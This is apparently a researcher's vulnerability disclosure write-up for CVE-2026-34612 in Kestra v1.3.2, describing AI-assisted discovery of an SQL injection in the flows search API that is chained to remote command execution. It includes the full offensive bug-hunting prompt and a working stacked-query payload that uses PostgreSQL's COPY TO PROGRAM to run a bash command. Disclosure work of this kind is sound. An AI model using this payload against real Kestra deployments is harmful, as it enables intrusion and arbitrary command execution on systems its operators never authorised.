# [CVE-2026-34612] AI-Assisted Discovery of SQL Injection Leading to RCE in Kestra v1.3.2

### I. **Introduction**

Kestra is an open-source tool that helps automate and manage workflows. It allows users to create and run workflows on a schedule or when an event occurs.

With Kestra, users can easily build and manage processes with just a few lines of simple configuration. Workflows can be created and monitored directly through the web interface, making system management and operations more convenient and reliable.

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/49e71da6-7491-4b97-b249-87e8fa58ef55.png align="center")

Vulnerable Version: [Kestra v.1.3.2](https://github.com/kestra-io/kestra/releases/tag/v1.3.2)

Advisory: https://github.com/kestra-io/kestra/security/advisories/GHSA-365w-2m69-mp9x

### II. **Target selection**

I was assigned the task of using AI to find bugs in open-source projects. After browsing GitHub Trending for a while, I happened upon Kestra.

Reading a few basic pieces of information, it seemed like a fairly promising target because the web app uses Java and includes functions that interact directly with the operating system.

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/48dc5ff2-e5b6-4259-8d06-28ebcc3e98d1.png align="center")

### III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:  
\- **Claude CLI**  
\- Model: **Claude Sonnet 4-6**

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/a54f6bc2-4367-4892-8ab2-42fc27964255.png align="center")

After some time prompting to find bugs that directly led to **RCE**, the model produced only false positives because the function actually allowed users to run commands. So I decided to look for a vulnerability different from **RCE**—one that posed a slightly easier to improve security risk: **SQL Injection**.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and functions):

```plaintext
You are a senior offensive security researcher specialized in Java applications, Micronaut, JDBC, Hibernate, Jooq, QueryDSL, and SQL injection discovery.

Your task is to audit this Kestra codebase for SQL injection vulnerabilities.

IMPORTANT:
- Do not assume the application is safe because it uses ORM.
- Look for partial parameterization, dynamic ORDER BY, string concatenation, raw SQL fragments, custom query builders, JSON query interpolation, tenant filters, search APIs, pagination, sort fields, and repository abstractions.
- Prioritize REAL exploitable SQL injection, not theoretical findings.
- Think like a bug bounty hunter trying to build a working PoC.

Your workflow:

1. Enumerate all database interaction points
   - repositories
   - DAO classes
   - JDBC usage
   - EntityManager.createNativeQuery
   - jooq DSL.raw
   - StringBuilder SQL construction
   - custom filters/search endpoints
   - dynamic WHERE / ORDER BY / LIMIT clauses

2. Trace tainted user input from:
   - controllers
   - REST endpoints
   - query parameters
   - path variables
   - websocket handlers
   - API filters/search objects
   - pagination/sort parameters

3. Identify dangerous patterns such as:
   - string concatenation into SQL
   - String.format SQL
   - unvalidated ORDER BY
   - unvalidated column names
   - dynamic table names
   - raw SQL fragments
   - nativeQuery=true
   - JPQL injection
   - HQL injection
   - custom SQL builder utilities
   - filter expressions transformed into SQL

4. For every candidate:
   - show full source-to-sink data flow
   - identify exact vulnerable line
   - explain why parameterization fails or is bypassed
   - determine exploitability realistically
   - provide payload examples
   - explain DB-specific behavior
   - estimate impact

5. Try to build a practical PoC:
   - authentication requirements
   - reachable endpoint
   - example HTTP request
   - injection payload
   - expected SQL query after interpolation
   - impact (auth bypass, data exfiltration, RCE via DB features, etc.)

6. Be skeptical:
   - eliminate false positives
   - verify whether framework sanitization exists
   - check whether values are enum-restricted
   - check prepared statement usage carefully

7. Focus especially on:
   - search/filter APIs
   - execution history
   - logs
   - namespaces
   - flows
   - sorting
   - labels/tags
   - tenant filtering
   - PostgreSQL-specific operators
   - JSONB queries
   - Elasticsearch fallback layers
   - dynamic query generation

Output format:

## Candidate N
- Vulnerability type
- Reachable endpoint
- Source
- Sink
- Vulnerable code
- Exploitability analysis
- Payload
- Reconstructed SQL query
- Impact
- Confidence level

At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate confirmed SQLi from suspicious code.
```

After that, the AI produced a result showing it had found a piece of code vulnerable to SQL Injection, located in a search function. I saw potential security impact here because if queries can be stacked, the bug could be chained as:  
**CSRF -> SQL Injection -> RCE**

I decided to set up an environment and continued to have the AI verify the bug; it confirmed the bug was real and that query stacking was indeed possible.

Here is the vulnerable request:

`GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=value_test`

After that, I continued to use AI to build the payload and the final **RCE** payload:

```plaintext
GET /api/v1/main/flows/search?sort=ida:asc&size=25&page=1&filters%5blabels%5d%5bEQUALS%5d%5bkey_test%5d=any%22%7d%5d'))%20OR%201%3d1%20order%20by%20%22id%22%20asc%20nulls%20first)%20as%20%22page%22%20where%20true%20offset%20%3f%20rows%20fetch%20next%20%3f%20rows%20only%3b%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'bash%20-c%20%22id%20%3e%20%2ftmp%2fpwned%22'%3b%20--%201
```

Decoded:

```plaintext
any"}]')) OR 1=1 order by "id" asc nulls first) as "page" where true offset ? rows fetch next ? rows only; COPY (SELECT '') TO PROGRAM 'bash -c "id > /tmp/pwned"'; -- 1
```

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/0e8fe4a6-c6fa-4a87-9e0d-af6f5654a798.png align="center")

Exec to db containter for check the result:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/cd11c7c9-4893-4fe5-9a3c-ab1f73fd8a4e.png align="center")

I submitted the bug shortly afterwards; Kestra issued a hotfix and requested that a CVE be assigned.

IV: Timeline

*   Mar 27 2026: Submit bug on repository.
    
*   Mar 30 2026: Kestra team verify and open the security advisory and assign CVE-2026-34612.